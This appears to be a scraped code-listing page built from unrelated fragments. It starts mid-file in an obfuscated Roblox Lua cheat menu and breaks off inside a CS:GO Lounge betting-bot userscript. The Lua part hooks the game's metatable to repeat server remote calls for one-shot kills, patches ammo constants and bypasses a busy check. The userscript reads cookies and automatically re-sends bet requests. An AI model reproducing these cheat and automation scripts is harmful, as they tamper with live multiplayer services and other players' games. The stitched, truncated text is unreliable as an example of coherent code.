a2,v in pairs(game:GetService("Workspace").AREA51.ElectricityRoom.PowerManager:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end end)z:NewButton("Turn-On all Traps","This turns on the all Traps..",function()for a2,v in pairs(game:GetService("Workspace").Traps:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Click"then fireclickdetector(v)end end end)z:NewButton("Repair Planks","Repairs all Planks.",function()for K,v in pairs(game:GetService("Workspace").AREA51:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Parent.Name=="Planks"then fireclickdetector(v)end end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One Shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("Purchase Perks:")local z=y:NewSection("1000 Points required for some perks.")z:NewButton("Juggernog","Purchases Juggernog",function()local player=game:getService("Players").LocalPlayer;local lastPosition=player.Character.PrimaryPart.Position;for a2,v in pairs(game:GetService("Workspace").Perks.Juggernog.Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks.Juggernog.Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Speed Cola","Purchases Speed Cola",function()for a2,v in pairs(game:GetService("Workspace").Perks['Speed Cola'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Speed Cola'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Double Tap","Purchases Double Tap",function()for a2,v in pairs(game:GetService("Workspace").Perks['Double Tap'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Double Tap'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Quick Revive","Purchases Quick Revive",function()for a2,v in pairs(game:GetService("Workspace").Perks['Quick Revive'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end;k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Quick Revive'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil end)z:NewButton("Deadshot Daiquiri","Purchases Deadshot Daiquiri",function()k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range.CFrame;wait(0.8)k.Character:MoveTo(lastPosition)lastPosition=nil;for a2,v in pairs(game:GetService("Workspace").Perks['Deadshot Daiquiri'].Range:GetChildren())do if v:IsA("ClickDetector")and v.Parent.Name=="Range"then fireclickdetector(v)end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)else m.Notify("Game is not supported!","Server hopping to Main Menu","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})wait(0.24)game:GetService('TeleportService'):Teleport(155382109,game.Players.LocalPlayer)end
nakajijapan / VersionUpdaterNotify users when a new version of your app is available and force them to upgrade the application of the version.
statickidz / VersionCheckerSimple Android library to check the version of the application with Google Play and force update.
ozanhalis / Hi// ==UserScript== // @name CS GO LOUNGE BOT-Ozan Halis // @namespace http://csgolounge.com/ // @version 0.6.6 // @description Cs Go Lounge Hızlı BOT // @match http://csgolounge.com/* // @match http://dota2lounge.com/* // @updateURL http://ncla.me/csgl3000/csgl3000.meta.js // @downloadURL http://ncla.me/csgl3000/csgl3000.user.js // @require http://code.jquery.com/jquery-2.1.1.js // @grant GM_getValue // @grant GM_setValue // @grant GM_deleteValue // @grant GM_xmlhttpRequest // @grant GM_addStyle // @copyright iamncla @ GitHub.com // ==/UserScript== /* HELPER FUCNTIONS */ /* Get URL parameter */ function gup(a){a=a.replace(/[\[]/,"\\[").replace(/[\]]/,"\\]");var b="[\\?&]"+a+"=([^&#]*)",c=new RegExp(b),d=c.exec(window.location.href);return null==d?null:d[1]} /* Get day/month/year */ function getDMY(){var a=new Date;return a.getFullYear()+"/"+(a.getMonth()+1)+"/"+a.getDate()} /* DOM observe */ var observeDOM=function(){var e=window.MutationObserver||window.WebKitMutationObserver,t=window.addEventListener;return function(n,r){if(e){var i=new e(function(e,t){if(e[0].addedNodes.length||e[0].removedNodes.length)r()});i.observe(n,{childList:true,subtree:true})}else if(t){n.addEventListener("DOMNodeInserted",r,false);n.addEventListener("DOMNodeRemoved",r,false)}}}() /* Custom logging function */ var Loge = function(message) { console.log(new Date() + " ---- " + message); } /* Get a cookie by a name */ function readCookie(e){var t=e+"=";var n=document.cookie.split(";");for(var r=0;r<n.length;r++){var i=n[r];while(i.charAt(0)==" ")i=i.substring(1,i.length);if(i.indexOf(t)==0)return i.substring(t.length,i.length)}return null} function addJS_Node (text, s_URL, funcToRun, funcName) { var D = document; var scriptNode = D.createElement ('script'); scriptNode.type = "text/javascript"; if (text) scriptNode.textContent = text; if (s_URL) scriptNode.src = s_URL; if (funcToRun) { if(funcName) { // please forgive me for this horror scriptNode.textContent = funcToRun.toString().replace("function () {", "function " + funcName + "() {"); } else { scriptNode.textContent = '(' + funcToRun.toString() + ')()'; } } var targ = D.getElementsByTagName('head')[0] || D.body || D.documentElement; targ.appendChild (scriptNode); } /* LoungeDestroyer class */ /* Chaos is order yet undeciphered. */ /* yaroberto -2 points 5 hours ago dont use shity scripts :) */ if (window.top != window.self) { //don't run on frames or iframes return; } var Bet3000 = function() { /* Construct */ var self = this; var version = "0.6.6"; var versionReleaseDate = "2014.08.22"; Loge("LoungeDestroyer v" + version + " (released on " + versionReleaseDate + ")"); this.betAttempts = 0; this.inventoryAttempts = 0; this.returnAttempts = 0; this.TLS = false; this.profileNumber = null; this.isPlacingBet = false; this.placeBetRetry = false; /* User settings */ this.defaultSettings = { marketCurrency: "1", itemMarketPrices: "1", redirect: "1", streamRemove: "1", delayBotsOff: "30000", delayBotsOn: "5000", delayRelogError: "15000" }; var userSettings = GM_getValue("userSettings"); if(typeof(userSettings) == "undefined") { GM_setValue("userSettings", JSON.stringify(self.defaultSettings)); } this.userSettings = JSON.parse(GM_getValue("userSettings")); this.saveSetting = function(settingName, settingValue) { self.userSettings[settingName] = settingValue; GM_setValue("userSettings", JSON.stringify(self.userSettings)); Loge("Saving user setting [" + settingName +"] to " +settingValue); }; /* Merging usersettings with default settings if a new update introduced a new setting */ $.each(this.defaultSettings, function(index, value) { if (typeof self.userSettings[index] == 'undefined') { self.saveSetting(index, value); } }); // for handling maintainance errors http://csgolounge.com/break and wait.html page if(this.userSettings["redirect"] == "1") { if(document.URL.indexOf("/wait.html") != -1 || document.URL.indexOf("/break") != -1 || document.title == "The page is temporarily unavailable") { window.location = GM_getValue("intendedVisitURL", location.host); } } // users profile number, also shorten dis pls oneline, dont b scrub if($("#logout").length) { self.profileNumber = readCookie("id"); } // ncla pls shorten dis this.appID = "730"; if(window.location.hostname == "dota2lounge.com") { this.appID = "570" } $("a").click(function(e) { if (e.which === 1) { e.preventDefault(); if(self.isPlacingBet) { $(window).unbind('beforeunload'); } // http://stackoverflow.com/questions/1318076/jquery-hasattr-checking-to-see-if-there-is-an-attribute-on-an-element if($(this).is("[href]")) { var url = $(this).attr("href"); GM_setValue("intendedVisitURL", url); window.location = url; } } }); GM_addStyle(".marketPriced .rarity { background: rgba(255, 255, 255, 0.7) !important; text-shadow: 0px 0px 1px rgba(255, 255, 255, 1); }" + "#ld_settings { width: 50px; height: 37px; top: 8px; right: 230px; position: absolute; cursor: pointer; }" + "@media screen and (max-width: 1391px) { #ld_settings { top: -3px; right: 198px; } }" + "@media screen and (max-width: 1000px) { #ld_settings { top: 28px; right: 10px; } }" + "div#ld_settings { background-image: url(data:image/png;base64,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); }" + "#ld_popup { display: none; width: 280px; height: 380px; background: white; position: fixed; top: 50%; left: 50%; margin-left: -140px; margin-top: -190px; box-shadow: 0px 0px 40px 0px rgba(0, 0, 0, 0.5); z-index: 9001; }" + "#ld_popup .popup-title { width: 100%; height: 25px; background: #f2f2f2; border-bottom: 3px solid #ade8f9; padding-top: 10px; }" + "#ld_popup .popup-title span { margin: 0 auto; font-weight: bold; font-size: 14px; color: #686868; padding-left: 15px; }" + "#ld_popup .popup-title #close-btn { display: block; cursor: pointer; font-weight: bold; position: absolute; top: 13px; right: 13px; font-size: 10px; }" + "#ld_popup .ld-settings { padding: 10px 0px 10px 15px; font-size: 12px; font-weight: bold; }" + "#ld_popup .ld-settings select { width: 205px; height: 21px; margin-bottom: 5px;}" + "#overlay-dummy { display: none; background-color: rgba(0, 0, 0, 0.3); position: fixed; width: 100%; height: 100%; z-index: 9000; }" + "#ld_popup .footerino { width: 100%; position: absolute; bottom: 0; height: 35px; background: #f8f8f8; border-top: 1px solid #e4e4e4; color: #c2c2c2; font-size: 12px; text-align: center; padding-top: 5px; }" + "#ld_popup .footerino a { color: #a0a0a0; }" + "#ld_popup .footerino a:hover { text-decoration: underline; }" + ".lastbumped { float: left; font-size: 13px; margin-top: 10px; font-weight: bold; }" + "#ld-placebet { display: inline-block; margin: 10px 0px; width: 100%; color: #eaeaea; }" + "#ld-placebet .wrapperino { margin: 13px; }" + "#ld-placebet .slider-desc { min-width: 140px; font-size: 12px; display: inline-block; }" + "#ld-placebet input[type='range'] { -webkit-appearance: none; height: 2px; }" + "#ld-placebet input[type='text'] { height: 15px; margin-left: 15px; font-size: 12px; position: relative; top: 2px; width: 50px; }" + "#ld-placebet .setting-block { height: 25px; }"); this.placeBet = function(btn) { // to do: add exceptions for "you have too many items in your returns" // You have too many items in returns, you have to reclaim it to be able to queue. // Due to extensive load, queue is disabled for about 5 minutes. // You have to relog in order to place a bet. if(!this.checkBetRequirements()) return false; if(self.isPlacingBet) return false; self.isPlacingBet = true; unsafeWindow.botsOnline = true; function scriptWrapper () { var tryCount = 1; function checkIfRequestForBetting(ajaxOptions) { if(ajaxOptions.hasOwnProperty("data")) { return (ajaxOptions.data.indexOf("&on=") != -1); } else { return false; } } $.ajaxPrefilter(function(options, originalOptions, jqXHR) { var originalSuccess = options.success; options.success = function (data) { if(checkIfRequestForBetting(originalOptions)) { if(data.length > 0) { console.log("Try Nr." + tryCount + ", server denied our bet: " + data); if(data.indexOf("You have to relog in order to place a bet.") != -1) { renewHash(); // aaand delay after renewing hash } else { var delayerino = (!botsOnline ? delays.delayBotsOff : delays.delayBotsOn); setTimeout(function() { $.ajax(originalOptions); }, delayerino); } tryCount = tryCount + 1; } else { // double check if placed bet here alert("It seems we successfully placed a bet! It took " + tryCount + " " + (tryCount == 1 ? 'try' : 'tries') + " to place the bet."); // possibly automatically accept trade offers (?) originalSuccess(data); } } else { originalSuccess(data); } }; }); } addJS_Node(null, null, scriptWrapper, null); addJS_Node(null ,null, self.renewHash, "renewHash"); $(btn).click(); return true; }; /* @param callback - What do on success? */ this.checkBotsOnline = function(onlineCallback, offlineCallback) { $.ajax({ url: "http://csgolounge.com/status", type: "GET", success: function(data) { if($(data).find("h2:eq(0)").length) { var botStatusText = $(data).find("h2:eq(0)").text(); if(botStatusText.indexOf("ONLINE") != -1) { onlineCallback(); } else if(botStatusText.indexOf("OFFLINE") != -1) { offlineCallback(); } else { offlineCallback(); } } else { console.log("Error getting bots status from page, retrying in 5 seconds..."); setTimeout(function() { self.checkBotsOnline(onlineCallback, offlineCallback); }, 5000); } }, error: function() { return false; // just.. meh.. } }); }; this.renewHash = function() { console.log("TLS has has expired (re-log error got returned), renewing hash.."); $.ajax({ url: document.URL, type: "GET", async: false, success: function(data) { if($(data).find("#placebut").length) { var newOnclick = $(data).find("#placebut").attr("onclick"); $("#placebut").attr("onclick", newOnclick); console.log("Hash renewed for place bet button, continuing.."); setTimeout(function() { $("#placebut").click(); }, delays.delayRelogError); } else { console.log("Failed to get button element, attempting to refetch the button in 5 seconds.."); setTimeout(function() { renewHash(); }, 5000); } }, error: function() { console.log("Error getting response, retrying in 5 seconds..."); setTimeout(function() { renewHash(); }, 5000); } }); }; this.checkBetRequirements = function() { if(!$(".betpoll .item").length > 0) { alert("No items added!"); return false; } if(!$("#on").val().length > 0) { alert("No team selected!"); return false; } return true; }; this.getInventoryItems = function() { if(document.URL.indexOf("/trade?t=") != -1) { $("#loading").show(); $("#offer .left").show(); $.ajax({ url: "ajax/backpack.php", success: function(data) { if($(data).text().indexOf("Can't get items.") == -1) { document.getElementById("offer").innerHTML += data; // .append() no like ;( $("#backpack").hide().slideDown(); $("#loading").hide(); $("#offer .standard").remove(); self.loadMarketPricesBackpack(); } else { self.inventoryAttempts = self.inventoryAttempts + 1; Loge("Attempting to get your Steam inventory, try Nr." + self.inventoryAttempts); self.getInventoryItems(); } } }); } if(document.URL.indexOf("/match?m=") != -1) { var steamAPI = ((Math.floor(Math.random() * 